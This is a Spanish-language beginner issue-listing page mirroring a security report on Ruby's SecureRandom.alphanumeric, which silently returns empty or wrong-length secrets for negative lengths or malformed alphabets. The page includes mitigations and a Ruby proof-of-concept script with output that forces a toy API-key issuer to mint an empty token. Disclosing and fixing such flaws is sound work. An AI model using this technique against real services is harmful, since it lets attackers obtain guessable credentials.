SecureRandom.alphanumeric can silently return an empty or wrong-length secret instead of raising

Abierto Apto para principiantes
#92 0 comentarios 0 reacciones 0 asignados Ver en GitHub

Nadie ha tomado este issue todavía.

Evaluación

Dificultad
2/5
Tiempo estimado
1-3 horas
Aptitud para principiantes
67/100
Tipo de issue
Error
Claridad
Bien especificado
Estado de actividad
Activo
Stack tecnológico
ruby
Área
backend, security

Línea de trabajo

Empieza por lib/securerandom.rb:55 y sigue la implementación alfanumérica y su método choose compartido; en Ruby 3.3 y posteriores, revisa también Random::Formatter. Añade pruebas para longitudes negativas y valores de chars no válidos, incluido si la cadena devuelta coincide con la longitud solicitada. Se considera terminado cuando las entradas no válidas provocan una excepción y las válidas siguen devolviendo exactamente el número de caracteres solicitado.

Escrito por el modelo de indexación a partir del texto del issue.

Descripción

About

Title: SecureRandom.alphanumeric can silently return an empty or wrong-length secret instead of raising
Repository: ruby/securerandom
Location: lib/securerandom.rb:55
Severity: Low
Impacted versions: HEAD, 0.4.1, ruby-3.3 random/formatter.rb, ruby-3.4 random/formatter.rb

Summary

SecureRandom.alphanumeric(n, chars:) documents that n is the number of characters in the
returned string, but it never validates n or the character set and never checks the length
of what it built. A negative n makes both generation loops skip, so the method returns the
empty string. A Hash-like alphabet (for example a JSON/YAML document parsed into a Hash)
makes the internal values_at look up integer keys on a Hash, find nothing, and join the
resulting nils into the empty string. nil and "" elements are joined away and shorten
the result, while multi-character elements lengthen it. In every case the method returns
normally, so the caller has no signal that it did not get the secret it asked for.

Ruby's hex, random_bytes and bytes raise ArgumentError for a negative size, so a caller
reasonably expects alphanumeric(-1) to fail as well. On Ruby 3.3 and later the code is in
the standard library's Random::Formatter; the securerandom gem's compatibility shim for
Ruby 3.1/3.2 calls the same choose method. The library-side fix is to coerce and
range-check n, validate that chars is an Array of at least two non-empty single-character
strings, and assert that the result length equals n before returning it.

Impact

Any caller that relies on the documented length contract can receive a zero- or
low-entropy secret with no error. If a service lets a user or configuration influence the
token length or alphabet (a custom-length API-key or invite-code feature, or a charset
loaded from JSON/YAML), an attacker can force newly issued secrets to be "" or short.
Empty or short API keys, session identifiers, invite codes or password-reset tokens are
trivially guessable, and the application will treat them as if they were strong because no
exception was raised.

The library-side defect is the silent failure: the API cannot be trusted to honour its
stated contract. Whether a particular service reaches account takeover depends on how it
exposes the length or character set to the attacker; a service that only lets a user
choose the length of a token issued to that same user has a weaker (self-inflicted)
problem, while a service with a shared or attacker-influenced length/charset can issue
guessable credentials to other accounts. In both cases the correct behaviour is to fail
loudly rather than return a weaker secret.

Mitigations

Reject non-positive/non-integer n and clamp to a sane maximum; validate the alphabet (must
be an Array of at least 2 non-empty, single-character strings) and reject Hash/other
types; after generation assert the returned string's length equals n and re-raise
otherwise; never let untrusted input choose token length or character set for
security-sensitive values; use a fixed-size random_bytes/hex for secrets.

Examples
example 1

An API-key endpoint accepts a length parameter and passes it to SecureRandom.alphanumeric.
length=-1 returns ""; the empty key is stored and shown to the user as a valid key,
whereas SecureRandom.hex(-1) in the same codebase raises ArgumentError.

example 2

A service loads its allowed character set from JSON into a Hash such as {"a":1,"b":2} (for
example a map of symbols to weights). Passing it as chars: yields "" for every token
because values_at indexes by integer key and gets nil.

example 3

A charset array containing nil or "" (for example from a split that produced empty fields)
shortens every token; multi-character entries such as ["ab","cd"] make it longer than
requested, breaking length assumptions in downstream storage, validation or rate
calculations.

example 4

An invite-code generator asks for 8 characters from a 3-element array that includes a nil.
It stores, on average, several characters fewer than expected, reducing the search space;
a Hash-shaped alphabet reduces it to the single empty token.

Proof of concept
#!/usr/bin/env ruby
# frozen_string_literal: true
#
# PoC: SecureRandom.alphanumeric silently violates its "return n characters"
#      contract and hands back an empty or short secret with NO error, when the
#      caller forwards an attacker-influenced length (or alphabet).
#
# Target : securerandom gem lib/securerandom.rb:55-58
#          (and Ruby >= 3.3 Random::Formatter#alphanumeric -> #choose)
# Effect : a token generator that asks for a 32-char secret gets "" (zero
#          entropy). If n comes from a request (e.g. ?length=) or the alphabet
#          is user/config supplied, an attacker forces every issued token to be
#          the empty string -> trivially guessable reset/API/session tokens.
#
# This attacks the real gem through its public API.

require "securerandom"

puts "== SecureRandom #{SecureRandom::VERSION} - silent length-contract break =="
puts

def show(label, value)
  puts format("  %-52s => %-24s (len=%d)", label, value.inspect, value.length)
end

# Baseline: a well-formed secret.
show("alphanumeric(32)", SecureRandom.alphanumeric(32))

# The failure modes -----------------------------------------------------------
# 1) attacker-supplied negative length instead of a positive one
show("alphanumeric(-1)",         SecureRandom.alphanumeric(-1))
show("alphanumeric(-1000000)",   SecureRandom.alphanumeric(-1000000))

# 2) attacker-supplied alphabet that is Hash-like (e.g. parsed from JSON/YAML:
#    {"a":1,"b":2}) -> values_at indexes by integer key, returns nil -> ""
show("alphanumeric(32, chars: {\"a\"=>1,\"b\"=>2})",
     SecureRandom.alphanumeric(32, chars: { "a" => 1, "b" => 2 }))

# 3) alphabet whose entries collapse when joined (nil / "") -> short result
r = SecureRandom.alphanumeric(8, chars: [nil, "a", "b"])
show("alphanumeric(8, chars: [nil, \"a\", \"b\"])  (one run)", r)

# 4) multi-character entries blow the length up instead of down
show("alphanumeric(8, chars: [\"ab\",\"cd\"])",
     SecureRandom.alphanumeric(8, chars: ["ab", "cd"]))

puts
puts "For comparison, hex()/bytes() *do* reject a negative size:"
begin
  SecureRandom.hex(-1)
rescue => e
  puts "  SecureRandom.hex(-1) => #{e.class}: #{e.message}"
end
puts

# --- demonstrate the security consequence -----------------------------------
# A minimal, realistic caller: a token issuer that lets the client choose the
# length of the key it is about to mint (a common "custom length" option).
def issue_api_key(length_param)
  n = Integer(length_param)          # client-controlled
  SecureRandom.alphanumeric(n)       # trusts the length contract
end

puts "[*] token issuer using an attacker-supplied ?length= :"
[32, -1].each do |len|
  key = issue_api_key(len)
  verdict = key.empty? ? "EMPTY -> guessable" : "ok"
  puts format("    ?length=%-6s issues key %-10s (len=%d)  %s", len, key.inspect, key.length, verdict)
end
puts

if SecureRandom.alphanumeric(-1).empty? &&
   SecureRandom.alphanumeric(32, chars: { "a" => 1, "b" => 2 }).empty?
  puts "[+] RESULT: alphanumeric returned a zero-length secret with no exception."
  puts "    A caller that supplied ?length=-1 (or a map-shaped charset) just"
  puts "    handed the attacker the empty string as the token."
  exit 0
else
  puts "[-] contract violation not reproduced on this host."
  exit 2
end
stdout
== SecureRandom 0.4.1 - silent length-contract break ==

  alphanumeric(32)                                     => "orH2W1smeQb3i4eKzzAnAYUHTErQ9ow3" (len=32)
  alphanumeric(-1)                                     => ""                       (len=0)
  alphanumeric(-1000000)                               => ""                       (len=0)
  alphanumeric(32, chars: {"a"=>1,"b"=>2})             => ""                       (len=0)
  alphanumeric(8, chars: [nil, "a", "b"])  (one run)   => "abbbb"                  (len=5)
  alphanumeric(8, chars: ["ab","cd"])                  => "cdcdcdabcdabcdab"       (len=16)

For comparison, hex()/bytes() *do* reject a negative size:
  SecureRandom.hex(-1) => ArgumentError: negative string size (or size too big)

[*] token issuer using an attacker-supplied ?length= :
    ?length=32     issues key "PxibdjNJoL6ZR8QRO5vATkEK5ZPd09e6" (len=32)  ok
    ?length=-1     issues key ""         (len=0)  EMPTY -> guessable

[+] RESULT: alphanumeric returned a zero-length secret with no exception.
    A caller that supplied ?length=-1 (or a map-shaped charset) just
    handed the attacker the empty string as the token.
Lenguaje dominante
Ruby
Estrellas
76
Forks
17
Merge medio
42 min
PR fusionados (30 d)
5

Preparar el entorno

Este proyecto no incluye contenedor de desarrollo, Dockerfile ni guía de contribución, así que la configuración corre por tu cuenta: empieza por su README y consulta nuestra guía para la primera contribución para los pasos generales.

Primeros pasos

  1. Lee el issue completo y luego la guía de contribución del proyecto.
  2. Comenta en el issue que vas a ocuparte — evita que dos personas hagan lo mismo.
  3. Haz un fork del repositorio y trabaja en una rama.
  4. Abre un pull request que haga referencia al número del issue.

Más de ruby/securerandom

Todos los issues de ruby/securerandom

Issues similares

Más issues de Ruby

Recibe los nuevos issues en tu correo

Un resumen breve de issues de GitHub para principiantes.